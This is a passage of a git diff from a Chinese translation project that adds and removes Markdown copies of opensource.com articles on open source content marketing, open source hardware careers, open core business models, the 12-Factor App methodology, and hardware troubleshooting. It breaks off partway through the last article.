posts, white papers, videos, and social media posts. This content doesn't explicitly promote a brand or products, but it is still designed to gain the attention of prospective buyers for a company's products and solutions. - -Content marketing and [thought leadership][2] have become intertwined, which you can use to your advantage by taking content marketing targeting other audiences and repurposing it for the OSS community. Publish content to your OSS community that helps the community around your OSS project. Think of tutorials, code snippets, and other content that can help your OSS users become more effective. - -Software vendors can also be thought leaders through content marketing. Enterprises are seeking solutions for their technology, digital transformation, and other challenges. While there are paid media publishers doing excellent work, there's always more work to be done. Vendor-sponsored content can be a valuable source of information. - -### Content marketing in an OSS world - -Vendors with open source and enterprise products need to approach content marketing for open source users, focusing on the values and development practices of the open source community. - -#### Treat content as another contribution to the open source community - -Content plays a vital role in the open source community. Your content can serve as another contribution to the open source communities you serve as long as you focus on the key elements: - - * Ensuring your content has technical depth - * Excluding anything sales from your content such as pricing or information about how to upgrade to the enterprise version of your software - * Keeping marketing of your enterprise's products out of your content such as talk of a feature that’s only in your enterprise version but not your OSS - - - -Your content marketing to the open source community shouldn't be about driving sales. Instead, think about contributing to the community you want to build around your open source software. If you're treating your blog posts and white papers as vendor agnostic, with a focus on education and outreach, you've already taken a step towards content marketing suited to an open source community. - -#### Partner your marketing team with open source advocates - -Marketing teams may not be familiar with the ways of the open source community. If that's the case in your organization, consider partnering your content marketing manager with your open source advocates. Partnering could take a few forms: - - * Partner your content marketing manager with your developer relations team - * Join your content marketing with your [open source program office][3] efforts - * Involve your in-house open source developers with your content marketing projects as content creators and technical reviewers - - - -Open source is about community. Partnering your content marketing with employees already active in OSS gives your content marketing manager an entry into the community. While you can't expect your marketing team to be OSS advocates, you can set expectations for them to learn firsthand about the community in much the same way they learned about the industry. - -#### Create open source personas and messaging - -While personas and messaging remain challenges for some software vendors, publishing content to an open source community means reaching a new audience. You need to create new open source personas and messaging to go along with your marketing team's other personas and messaging. - -To get open source messaging right, you need to involve your in-house open source advocates and SMEs in the ideation and creation of the messaging. Avoid outsourcing these crucial steps to a third-party marketing consultant. People who work directly with your open source community are the best resources to understand the audience and what messages may resonate with them. Open source experts tapped to help with corporate messaging should be prepared to educate their marketing colleagues in the [open source ethos.][4] - -#### Keep listening and iterating - -Content marketing to your open source community shouldn't be a one-time effort. Blogging is an ideal content marketing channel for the open source community for this reason. Take the time to listen to what's going on in your OSS community and what they still need to learn about your open source offerings. A straightforward way to do this is to have your content marketing manager or other marketing representation join your online community. - -Iteration is a necessity with content marketing to the OSS community. In particular, take time to police your content drafts for anything that sounds like selling. Don’t forget to update your police your messaging, blogs, and blog calendar for selling too. Consider segmenting your blog’s OSS content in it’s own category if you haven’t done so already.** ** - -### Last thoughts - -Content marketing to an open source community requires becoming an educator and thought leader delivering content that contributes to your open source users' experiences and product journey. While your salespeople will be looking for customer conversions through your open source content marketing (and they should be!), keep your focus on community content and collaboration. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/10/content-marketing-open-source-community - -作者:[Will Kelly][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/willkelly -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/connection_people_team_collaboration.png?itok=0_vQT8xV (people in different locations who are part of the same team) -[2]: https://thoughtleadershiplab.com/what-is-a-thought-leader/ -[3]: https://opensource.com/article/20/5/open-source-program-office -[4]: https://www.agrowingculture.org/open-source-ethos/ diff --git a/sources/talk/20211113 Why now is a great time to consider a career in open source hardware.md b/sources/talk/20211113 Why now is a great time to consider a career in open source hardware.md deleted file mode 100644 index 32bdc5eb33..0000000000 --- a/sources/talk/20211113 Why now is a great time to consider a career in open source hardware.md +++ /dev/null @@ -1,72 +0,0 @@ -[#]: subject: "Why now is a great time to consider a career in open source hardware" -[#]: via: "https://opensource.com/article/21/11/open-source-hardware-careers" -[#]: author: "Joshua Pearce https://opensource.com/users/jmpearce" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Why now is a great time to consider a career in open source hardware -====== -Open source hardware is now a field of its own and it is growing -rapidly. -![open source hardware shaking hands][1] - -It has become commonplace in the software industry for programmers of all flavors to build careers writing code that releases to the commons with open source licenses. Industry headhunters often demand access to the code to vet future employees. Those that focus their career on open source development get rewarded. According to payscale.com, Linux sysadmins earn more than their Windows counterparts, indicating better pay and job security for jobs in open source software. There's also a good feeling (maybe even karma) that comes with sharing your work. You know you are creating value literally for the entire world. Historically, such opportunities did not exist for those of us that work in open hardware.  - -Twenty years or so ago, almost no one even knew what open source hardware was, let alone planned a career around it. In 2000, for example, out of the more than 2 million academic papers published that year in the entire world, only seven articles even mentioned "open source hardware" at all. When I first wrote [_Open-Source Lab_][2], I'd collected every example (only a few dozen) and could easily keep up and read every open hardware article that got published to post them on a wiki. I am happy to report that is no longer physically possible. There have already been over 1,500 articles that discuss "open source hardware" this year, and I am sure many more will be out by year's end. Open source hardware is now a field of its own, with a few journals dedicated to it specifically (for example, [_HardwareX_][3] and the [_Journal of Open Hardware_][4]). In a wide range of fields, dozens of traditional journals now routinely cover the latest open hardware developments. - -![Smart open source 3-D printing][5] - -Developing smart open source 3-D printing (Joshua Pearce, [GNU-FDL][6]) - -Even a decade ago, stressing open source hardware development was somewhat of a risk from a career perspective. I remember downplaying it on my resume for my last job and stressing my more conventional work. Supervisors in industry and academia had difficulty figuring out how you'd capture value if designs were given away and got manufactured elsewhere. This has all been changing. Like free and open source software, open source hardware development is faster and, dare I say, superior to proprietary approaches. - -![Open source recycle bot][7] - -(Joshua Pearce, [GNU-FDL][6]) - -There are plenty of successful [open hardware business models][8] for every kind of enterprise. With the rise of digital manufacturing (largely due to open source development), the lines have blurred between open source software and open source hardware. Open source software like [FreeCAD][9] enables open designs to be made and then used in built-in CAM to get fabricated on open source laser cutters, CNC mills, or 3-D printers. [OpenSCAD][10], an open source script-based CAD package, in particular, really blurs the lines between software and hardware so much that code and physical design become synonymous. Many of us started speaking out about open hardware openly. I made it a core thrust of my research program, first making my own equipment open source and then working on open hardware development for others. I was far from alone. As a community, we had gained enough critical mass that the [Open Source Hardware Association][11] (OSHWA) got founded in 2012. Today, almost a decade later, career prospects in open source hardware are totally different: Hundreds of open source hardware companies exist, the Internet is swimming with millions (millions!) of open source designs, and the interest in open source hardware in the academic literature has been rising exponentially.  - -![Open source production for solar photovoltaics][12] - -Developing open source production for solar photovoltaics (Joshua Pearce, [GNU-FDL][6]) - -There are even jobs meant to push a faster transition to ubiquitous open source hardware. For example, the Internet of Production (IoP) Alliance in developing Open Data Standards and growing the community of users of these standards has [positions open now][13] for Operations & Communications Officer, Data standards Community Support Manager, and DevOps engineer. I was just hired into a tenured endowed chair at [Western University in Canada,][14] a top 1% global university, **because** of my open source hardware work, not in spite of it. The position is cross-pointed with the [Ivey Business School,][15] the #1 business school in Canada. My job is to help the University rapidly evolve to take advantage of open source technology development opportunities. To put my money where my mouth is, I am [currently hiring][16] graduate students at the masters and PhD levels, including a full-tuition scholarship and a living stipend. These [Free Appropriate Sustainability Technology (FAST) Lab][17] graduate engineering positions are specifically reserved for developing open source hardware for a range of applications covering solar photovoltaic systems, distributed recycling, and emergency food production. This type of work gets more frequently financed by funders who want to maximize [return on their investment for research][18]. Entire nations are moving in this direction. The latest good example is France, which just published its [second plan for Open Science][19]. I have noticed a marked uptick in the number of "open source" keyword grants listed on [GrantForward][20] for open source funding in the US. Many foundations have already received the open source memo loud and clear—so there is a growing deluge of opportunities in open source R&D. - -So if you have not already, maybe it is time for you to consider open source as a career, even if you are an engineer that likes to develop hardware. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/11/open-source-hardware-careers - -作者:[Joshua Pearce][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jmpearce -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/open-source-hardware.png?itok=vS4MBRSh (shaking hands open source hardware) -[2]: https://www.appropedia.org/Open-source_Lab -[3]: https://www.hardware-x.com/ -[4]: https://openhardware.metajnl.com/ -[5]: https://opensource.com/sites/default/files/uploads/smart-open-source-3d-printing.png (Smart open source 3-D printing) -[6]: https://www.gnu.org/licenses/fdl-1.3.en.html -[7]: https://opensource.com/sites/default/files/pictures/open-source-recyclebot_0.jpg (Open source recycle bot) -[8]: https://doi.org/10.5334/joh.4 -[9]: https://www.freecadweb.org/ -[10]: https://openscad.org/ -[11]: https://www.oshwa.org/ -[12]: https://opensource.com/sites/default/files/uploads/open-source-solar-photovoltaics.png (Open source production for solar photovoltaics) -[13]: https://www.internetofproduction.org/hiring -[14]: https://www.uwo.ca/ -[15]: https://www.ivey.uwo.ca/ -[16]: https://www.appropedia.org/FAST_application_process -[17]: https://www.appropedia.org/Category:FAST -[18]: https://www.academia.edu/13799962/Return_on_Investment_for_Open_Source_Hardware_Development -[19]: https://www.ouvrirlascience.fr/wp-content/uploads/2021/10/Second_French_Plan-for-Open-Science_web.pdf -[20]: https://www.grantforward.com/index diff --git a/sources/talk/20211123 What is open core.md b/sources/talk/20211123 What is open core.md new file mode 100644 index 0000000000..d27cd9b20f --- /dev/null +++ b/sources/talk/20211123 What is open core.md @@ -0,0 +1,122 @@ +[#]: subject: "What is open core?" +[#]: via: "https://opensource.com/article/21/11/open-core-vs-open-source" +[#]: author: "Scott McCarty https://opensource.com/users/fatherlinux" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What is open core? +====== +How does open core differ from open source? When is one more useful than +the other? +![A confusing business organization chart][1] + +What is open core? Is a project open core, or is a business open core? That's debatable. Like open source, some view it as a [development model][2], others view it as a [business model][3]. As a product manager, I view it more in the context of value creation and value capture. + +![market problems based on open core][4] + +(Scott McCarty, CC BY-SA 4.0) + +With open source, an engineering team can capture more value than it contributes. An engineer participating in an open source project can contribute $1 worth of code, yet get back $10, $20, $30, or more worth of value. This value is measured in both personal brand, as well as ability to lead and influence the project in a direction that is beneficial to their employer. + +With open core, at least some of the code is proprietary. With proprietary code, a company hires engineers, solves business problems, and charges for that software. For the proprietary portion of the code base, there is no community-based engineering, so there's no process by which a community member can profit by participating. With proprietary code, a dollar invested in engineering is a dollar returned in code. Unlike open source, a proprietary development process can't return more value than the engineering team contributes (see also: [Why Red Hat is investing in CRI-O and Podman][5]). + +This lack of community profit is really important when analyzing open core. There is no community for that part of the code, so there is no community participation, no community profit. If there is no community, there is no potential for a community member to gain the standard benefits of open source (personal brand, influence, right to use, learning, etc.). + +There's no differential value created with open core, so in [18 ways to differentiate open source products from upstream suppliers][6], I describe it as a methodology for capturing value. Community-driven open source is about value creation, not value capture. This is a fundamental tension between open source and open core. + +### Open core versus glue code + +First, let's take a look at what people typically view as open source. As described [on Wikipedia][3], "the open-core model primarily involves offering a 'core' or feature-limited version of a software product as free and open-source software, while offering 'commercial' versions or add-ons as proprietary software." The drawing below shows this model graphically. + +An example of this model is SugarCRM, which had a core, open source piece of software as well as a bunch of plugins, many of which were proprietary. Another example of this is [the original plan Microsoft had for the Hot Reload feature in .Net][7] (which has since then been reversed). + +![Open Core and Proprietary Diagram][8] + +Another related model is what I'll refer to as glue code. Glue code doesn't directly provide a customer business value. Instead, it hangs a bunch of projects together. Notice, in this example, I demonstrate three open source projects, one data-driven [API service][9], and some glue code that holds it all together. Glue code can be open source or proprietary, but this is not what people typically think of when they talk about open core. + +An example of open source glue code is Red Hat Satellite Server. It's made up of multiple upstream open source projects like Foreman, Candlepin, Pulp, and Katello, as well as a connection to a data service for updates (as well as [connections with tools like Red Hat Insights][10]). In the case of Satellite server, all of the glue code is open source, but one can easily imagine how other companies might make the choice to employ proprietary code for this functionality. + +![An example of open source glue code][11] + +### When open core conflicts with community goals + +The classic problem with open core is when the upstream community wants to implement a feature that is in one of the proprietary bolt-ons. The company or product which employs the open core model has an incentive to stop this from happening in the open source project on which the proprietary code relies. This creates some serious issues for both the upstream community and for customers. + +Potential customers will be incentivized to participate in the community to implement the proprietary features which are perceived as missing. Community members who try to implement these features will be shocked or annoyed when their pull requests are difficult to get accepted or rejected outright. + +I've never seen a serious solution for this problem. In this video, [How To Do Open Core Well: 6 Concrete Recommendations][12], Jono Bacon recommends being upfront with community members. He recommends telling them that pull requests which compete with proprietary product features will be rejected. While that's better than not being upfront, it's not a scalable solution. Both the upstream project and the downstream product with proprietary features are constantly changing landscapes. Often, community contributors aren't even paying attention to the downstream product and have no idea which features are implemented downstream, or worse, on the roadmap to be implemented as proprietary features. The upstream community is rarely emotionally engaged with the business problems solved by downstream products, and can easily be confused when their pull requests are rejected. + +Even if the community is willing to accept the no-go zones (example: [GitLab Features by Paid Tier][13]), this makes it a high probability that the open source project will be a single-vendor endeavor (example: [GitLab contributions are primarily GitLab employees][14]). It's highly unlikely that competitors will participate, and this will intrinsically limit the value creation of the community. The open core business could still capture value through thought leadership, technology adoption, and customer loyalty, but arguably they will never truly create more code value than they invest. + +Apart from these problems, if an upstream project truly adheres to open governance, there's actually nothing the open core business can do to prevent proprietary features from being implemented. Intra-project (within a single project) proprietary code just doesn't work. + +### When open core might work + +Glue code is a place where open core or proprietary code might work. I'm not advocating for open core, and I often think it's inefficient, but I want to be honest with my analysis. There are indeed natural boundaries between open source projects. Going back to my open source as a supply chain thesis (see also: [The Delicate Art of Product Management with Open Source][15]), a [fuel injector][16] is a fuel injector; it's not an [alternator][17]. These natural demarcation points do make good areas for differentiation of the downstream product from the upstream project (see also: [18 Ways to differentiate open source software products from their upstream projects][6]). + +A classic example of proprietary glue code is the original [Red Hat Network (RHN)][18], released in the year 2000. RHN was essentially a SaaS offering which provided updates for [Red Hat Linux][19] machines, and this was before [Red Hat Enterprise Linux][20] was even a thing. For context, when RHN was released, the term open core wasn't even invented yet ([coined in 2008][3]), coincidentally the same year that the [upstream Spacewalk project][21] was released. Back then, everyone was still learning the core competencies of how to do open source well. + +In retrospect, I don't think it's a coincidence that RHN existed at the nexus of the natural demarcation point between an upstream Linux distribution and pay-for offering. This naturally fits the mental model of [differentiating a product from the upstream supplier][6]. It might be tempting to conclude - "See!?!? The largest open source company in the world differentiated itself with proprietary code! Open core is the reason Red Hat survived and flourished" - but I'd be careful not to confuse correlation with causation. Red Hat eventually open sourced RHN as Spacewalk and never took a hit to revenue. + +Pivoting slightly, one could also make an argument that the cloud providers often follow this model today. It's well known in the industry that most of the large cloud providers carry their own forks of the Linux kernel. These forks have proprietary extensions which make Linux usable in their environments. These features don't solve a customer's business problem directly but instead solve the cloud provider's problems. They're essentially glue code. + +Cloud providers have a slightly different motivation for not getting these changes upstream. For them, carrying a fork is often cheaper and/or easier (though not easy) than contributing these features upstream, especially when the changes are often not wanted by the Linux kernel community. Cloud providers are often choosing the best bad idea out of a bunch of bad ideas. + +Open core glue code might be called inter-project (between multiple projects) proprietary code. This might work, but arguably, this kind of code is already difficult to implement and doesn't need the perceived "protections" of a proprietary license. Stated another way, open source contributors aren't necessarily incentivized to work on and maintain glue code. It's a natural place where a vendor can differentiate. Often glue code is complex and requires specific integrations between specific versions of upstream projects for specific life cycle requirements. All of these specific requirements make glue code a great place for a product to differentiate itself from the upstream projects without the need for a proprietary license. The velocity (speed and direction) of enterprise integrations are quite different from the velocity needed for collaboration between multiple upstream projects. This velocity mismatch between upstream community needs, and downstream customer needs is a perfect place for differentiation without the need for open core. + +### Conclusion + +Can open core work? Is it better than open source? Should everyone use it? It seems obvious that Open core can work, but only in very specific situations with very specific types of software (ex. glue code). It seems less obvious that there's any argument that open core is actually better for creating value. Therefore, I do not recommend open core for most businesses. Furthermore, I think the percieved protections that it offers are actually unnecessary.   + +Often, vendors find natural places to compete with each other. For example, SUSE runs the [OpenSUSE Build Service][22], which is based on completely open source code. Even though Red Hat could download the source code and set up a competing build service, they haven't. In fact, the upstream Podman project, which is heavily sponsored by Red Hat, uses the [OpenSUSE build service][23]. Though SUSE could easily make this code proprietary, they don't need to. Setting up, running, and maintaining a competing service is a lot of work and doesn't necessarily provide Red Hat customers with a lot of value. + +I still think Open Core is a step in the right direction from fully proprietary code (example: [GitLab is open core, GitHub is closed source][24]), but I don't see a compelling reason to promote it as a better alternative to completely open source. In fact, I think it's [exceedingly difficult][12] to do open core well and likely impossible to genuinely create differentiated value with it (see also: [The community-led renaissance of open source][25] and [Fauxpen source is bad for business][26]). + +This thesis on open core was developed by working with and learning from hundreds of passionate people in Open Source, including engineers, product managers, marketing managers, sales people, and some of the foremost lawyers in this space. To release new features and capabilities in Red Hat Enterprise Linux and OpenShift, like launching Red Hat Universal Base Image, I've worked closely with so many different teams at Red Hat. I've absorbed 25+ years of institutional knowledge, in my 10+ years here. Now, I'm trying to formalize this a bit in public work like [The Delicate Art of Product Management with Open Source][15] and follow-on articles like this one. + +This work has contributed to my recent promotion to Senior Principal Product Manager of [RHEL for Server][27], [arguably the largest open source business in the world][28]. Even with this experience, I'm constantly listening, learning, and seeking truth. I'd love to discuss this subject further in the comments or on Twitter (@fatherlinux). + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/open-core-vs-open-source + +作者:[Scott McCarty][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/fatherlinux +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_orgchart1.png?itok=tukiFj89 (A confusing business organization chart) +[2]: https://opensource.org/blog/OpenCore +[3]: https://en.wikipedia.org/wiki/Open-core_model +[4]: https://opensource.com/sites/default/files/values.png +[5]: https://www.redhat.com/en/blog/why-red-hat-investing-cri-o-and-podman +[6]: https://opensource.com/article/21/2/differentiating-products-upstream-suppliers +[7]: https://dusted.codes/can-we-trust-microsoft-with-open-source +[8]: https://opensource.com/sites/default/files/uploads/open_core_diagram1.png (Open Core and Proprietary Diagram) +[9]: https://opensource.com/article/17/8/open-core-vs-open-perimeter +[10]: https://access.redhat.com/documentation/en-us/red_hat_satellite/6.2/html/server_administration_guide/ch06s06 +[11]: https://opensource.com/sites/default/files/uploads/open_core_diagram2.png (An example of open source glue code) +[12]: https://www.youtube.com/watch?v=o-OOxOS8oDs +[13]: https://about.gitlab.com/features/by-paid-tier/ +[14]: https://gitlab.com/gitlab-org/gitlab-foss/-/graphs/master +[15]: http://crunchtools.com/the-delicate-art-of-product-management/ +[16]: https://en.wikipedia.org/wiki/Fuel_injection +[17]: https://en.wikipedia.org/wiki/Alternator +[18]: https://en.wikipedia.org/wiki/Red_Hat_Network +[19]: https://en.wikipedia.org/wiki/Red_Hat_Linux +[20]: https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux +[21]: https://spacewalkproject.github.io/ +[22]: https://en.opensuse.org/openSUSE:Build_Service_FAQ +[23]: https://build.opensuse.org/package/show/openSUSE:Factory/podman +[24]: https://about.gitlab.com/blog/2016/07/20/gitlab-is-open-core-github-is-closed-source/ +[25]: https://opensource.com/article/19/9/community-led-renaissance +[26]: https://opensource.com/article/19/4/fauxpen-source-bad-business +[27]: https://www.redhat.com/en/store/red-hat-enterprise-linux-server +[28]: https://last10k.com/sec-filings/rht/0001087423-19-000012.htm#link_fullReport diff --git a/sources/talk/20220113 An open source developer-s guide to 12-Factor App methodology.md b/sources/talk/20220113 An open source developer-s guide to 12-Factor App methodology.md new file mode 100644 index 0000000000..9c60bfb7f7 --- /dev/null +++ b/sources/talk/20220113 An open source developer-s guide to 12-Factor App methodology.md @@ -0,0 +1,132 @@ +[#]: subject: "An open source developer's guide to 12-Factor App methodology" +[#]: via: "https://opensource.com/article/21/11/open-source-12-factor-app-methodology" +[#]: author: "Richard Conn https://opensource.com/users/richardaconn-0" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +An open source developer's guide to 12-Factor App methodology +====== +How 12 basic principles can help teams build highly scalable apps +quickly and efficiently. +![Tips and gears turning][1] + +The [12-Factor App methodology][2] provides guidelines for building apps in a short time frame and for making them scalable. It was created by the developers at Heroku for use with Software-as-a-Service (SaaS) apps, web apps, and potentially Communication-Platform-as-a-Service (CPaaS) ****apps. For organizing projects effectively and managing scalable applications, the 12-Factor App methodology has powerful advantages for open source development. + +### The principles of 12-Factor App methodology + +The principles of 12-Factor App methodology are strict rules that act as building blocks for developing and deploying SaaS applications, and they are not constrained to any programming language or database. + +#### 1: One codebase tracked in revision control, many deploys + +![An infographic illustrating one codebase, represented by green lines on the left, leading into four deployments on the right, represented by green boxes. A staging environment is represented by an orange box, and production is represented by a red box][3] + +Seth Kenlon CC-0 + +Every application should have one codebase with multiple different environments/deploys. + +Developers should not develop another codebase just for the sake of setup in different environments. Different environments represent different states, but these different environments should share the same codebase. + +An environment can be considered a branch in the context of Subversion Control Systems like GitLab, where many open source projects are stored. For example, you could create a single repository for a cloud VoIP application ****named VoIP-app in any central version control system, then create two branches, development, and staging, with "master" as the release branch. + +#### 2: Explicitly declare and isolate dependencies + +All dependencies should be declared. Your app may depend on external system tools or libraries, but there should be no _implicit_ reliance on system tools or libraries. Your app must always explicitly declare all dependencies and their correct versions. + +Including dependencies in the codebase can create problems, especially in open source projects where a change in an external library may introduce errors into the codebase. For example, a codebase might use an external library without explicitly declaring this dependence or which version. If the external library is updated to a newer, untested version, this could create compatibility issues with your code. Your codebase is protected from this issue with an explicit declaration of the dependency and its correct version. + +Depending on the technology stack, it's better to use a package manager to download the dependencies on your respective system by reading a dependency declaration manifest representing the dependencies' names and versions. + +#### 3: Store config in the environment + +When you need to support multiple environments or clients, configurations become a vital part of an application. A configuration that varies between deployments should be stored in the environment variables. This makes it easy to change between the deploys without having to change the code. + +For closed source apps, this principle is beneficial, as you would not want sensitive information like database connection information, or other secret data, to be given out publicly. However, in open source development, these details are open. In this case, the advantage is that you do not need to keep changing the code repeatedly. You just set the variables in such a way that you only have to change the environment to get your codebase to run perfectly. + +#### 4: Treat backing services as attached resources + +All backing services (such as databases, external storage, or message queues) are treated as attached resources and are attached and detached by the execution environment. With this principle, if the location or connection details of these services change, you still don't need to change the code. The details are available in the config instead. + +Backing services can be attached or detached from deploys quickly. For example, if your cloud-based erp's database is not working correctly, the developer should be able to create a new database server restored from a recent backup—without any change to the codebase. + +#### 5: Strictly separate build and run stages + +A 12-Factor App requires a strict separation between build, release, and run stages. + + * The first stage is the _build_ ****phase. In this phase, the source code is assembled or compiled into an executable while also loading dependencies and creating assets. Every time a new code needs to be deployed, the build phase starts. + + * The second stage is the _release_ ****phase. In this phase, the code produced during the build stage is combined with the deployment's current config. The resulting release contains both the build and the config and is ready for immediate execution in the execution environment. + + * The third stage is the _run_ ****phase and is the final stage: the application is run in the execution environment. It should not be interrupted by any other stage. + + + + +By strictly separating these stages, we avoid code breaks and make system maintenance much more manageable. + +#### 6: Execute the app as one or more stateless processes + +An app is executed in an execution environment as a collection of one or more processes. These processes are stateless, with persisted data stored on a backing service, such as a database. + +This is useful for open source, because a developer using a version of the app can create multinode deployments on their cloud platform for scalability. The data is not persisted in them, since data would be lost if any one of those nodes crashes. + +#### 7: Export services via port binding + +Your app should act as a standalone service that is independent of additional apps. It should be accessible to other services through a URL, acting as a service. In this way, your app can serve as a resource for other apps when required. Using this concept, you can build [REST APIS][4]. + +#### 8: Scale out via the process model + +Also known as the concurrency principle, this principle indicates that each process in your app should be able to scale, restart, or clone itself. + +Instead of making a process larger, a developer can create multiple processes and distribute the load of their apps among those processes. This approach allows you to build your app to handle diverse workloads by assigning each workload to a process type. + +#### 9: Maximize robustness with fast startup and graceful shutdown + +Your app should be built on simple processes, so developers can scale up processes while still allowing them to restart them if anything goes wrong. This makes the app's processes disposable. + +Building an app on this principle means rapid deployment of code, fast elastic scaling, more agility for the release process, and robust production deploys. All of these are very helpful in an open source development environment. + +#### 10: Keep development, staging, and production as similar as possible + +Teams working on a project should use the same operating systems, backing services, and dependencies. This reduces the likelihood of bugs turning up, and less time is needed for development. + +Putting this principle into practice could be a challenge for open source projects due to the dispersed nature of its developers, who may not be ****[able to communicate][5] about the systems, services, and dependencies they use. One possibility for reducing these differences is a development guideline suggesting what operating system, services, and dependencies to use. + +#### 11: Treat logs as event streams + +Logs are essential for troubleshooting production problems or understanding user behavior. However, a 12-Factor App shouldn't be concerned with the management of logs. + +Instead, it should route log entries as event streams, written as standard outputs, to a separate service for analysis and archival. Robotic process automation (RPA) technologies could be useful as a third-party service to process and analyze the logs. The execution environment will decide how to process this stream. This provides greater flexibility and power for introspecting the app's behavior. + +#### 12: Run admin/management tasks as one-off processes + +This principle is not really related to development but is instead about app management. Admin processes should be run in an identical environment to the regular long-running processes of the app. In a local deploy, developers could use a direct shell command inside the app checkout directory to perform one-time admin processes. + +### Conclusion + +By developing your app using 12-Factor App methodology, you can increase efficiency and rollout faster. It may make sense to diverge from some of the guidelines in open source development, but it is best to try to follow these guidelines as strictly as possible. + +Open source 12-Factor Apps are possible. One great example is [Jitsi][6][, an open source video conference platform][7], which scaled 100-fold during the pandemic with great success, was built with the 12-Factor App methodology. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/open-source-12-factor-app-methodology + +作者:[Richard Conn][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/richardaconn-0 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) +[2]: https://www.redhat.com/architect/12-factor-app +[3]: https://opensource.com/sites/default/files/uploads/codebase-deploy_1.png (Codebase) +[4]: https://opensource.com/article/21/9/ansible-rest-apis +[5]: https://opensource.com/article/21/10/global-communication-open-source +[6]: https://jitsi.org/ +[7]: http://jitsi.org diff --git a/sources/talk/20220118 How curiosity helped me solve a hardware problem.md b/sources/talk/20220118 How curiosity helped me solve a hardware problem.md new file mode 100644 index 0000000000..eb1efd0073 --- /dev/null +++ b/sources/talk/20220118 How curiosity helped me solve a hardware problem.md @@ -0,0 +1,101 @@ +[#]: subject: "How curiosity helped me solve a hardware problem" +[#]: via: "https://opensource.com/article/22/1/troubleshoot-hardware-sysadmin" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How curiosity helped me solve a hardware problem +====== +Curiosity fuels the quest for knowledge and truth, whether it's about +hardware, open source software, programming, building a PC, optimizing +settings, or just learning a new application. +![Puzzle pieces coming together to form a computer screen][1] + +I typically have a dozen computers up and running on my home network—yes, 12. And I am responsible for several more in other locations. With so many computers, there are always failures of various types, and I ultimately diagnose many of them as hardware problems. But it can be difficult to diagnose which hardware component is causing the issue. + +Just this week, I had a perplexing problem that I misdiagnosed the cause of on my primary workstation—twice. This article takes you through the process I followed. I show you where and why I went down the wrong path and how easy it can be to do so. + +### The first symptoms + +I have been working on several projects. Recently, I had many applications open on multiple desktops and was just starting to work when the display went blank. Most (not all) of the fans in my primary workstation came to a stop, and I sucked in a deep breath. I'd never seen anything quite like this before, but I did know that my system was in trouble. + +There were two primary clues I had to work with. The display went dark, and several fans had stopped. However, the front-panel power and disk activity LEDs were still on, although at a lower brightness level than usual. Most of the decorative RGB LED lights on my motherboard, memory DIMMs, and fans also went out. + +I tried the power and reset buttons with no results. I turned off the power supply directly using the PSU rocker switch. Powering it back on resulted in the same set of symptoms. + +### Initial thoughts + +These symptoms and decades of experience with all kinds of failures pointed me to the power supply. + +I removed the power supply and used my PSU tester to check it. The tester indicated that the PSU was good, and all voltages were within specs. However, I knew the tester could be wrong. PSU testers do not test under full load conditions such as those that exist when the computer is running and drawing a few hundred watts of power. I went with my gut and installed my spare 1000W power supply. + +With an average of 12 computers in my home network, I have learned to keep plenty of spare parts on hand. It saves a lot of frustration that I don't have to run to the local computer store or order online and wait for delivery when things break—and things are always breaking with that many computers around. + +That replacement power supply solved the problem despite the result I got from the PSU tester. Even though the tester has been correct many times in the past, my experience, my knowledge, and my gut told me differently. + +Unfortunately, my gut instinct was wrong. + +### Second thoughts + +My workstation was exhibiting the same symptoms again. It is very unlikely that two different PSUs would fail exactly the same way. + +Next idea: It had to be the motherboard. I don't keep spare motherboards around, so I ordered a new one online and figured that I could use extra memory I already had and move the CPU to the new motherboard along with its all-in-one liquid cooling unit. + +### Disciplined troubleshooting + +The new motherboard would take a couple of days to arrive, so I decided to prepare by removing the old one from the workstation. But before I unplugged the power feeds to the motherboard, my curiosity took over and forced me to power on the system with only the motherboard, CPU, and memory installed. I had disconnected everything else. + +Good troubleshooting demands that you isolate all potential variables, and all I'd done so far was test the PSU. I had to test every component. + +This process required me to disconnect the front panel cables for sound and the dashboard media panel that includes various USB, SATA, and memory card slots. + +With just the motherboard connected, I got a surprise: Everything worked as normal! + +The computer itself wouldn't boot because there were no connected storage drives, and nothing was displayed because I had removed the display adapter. But there were no symptoms of either power or motherboard failure. That piqued my curiosity even more. If the motherboard were truly bad, the symptoms would still exist. + +So I started a sequence of powering off, reinstalling one of the removed components, and 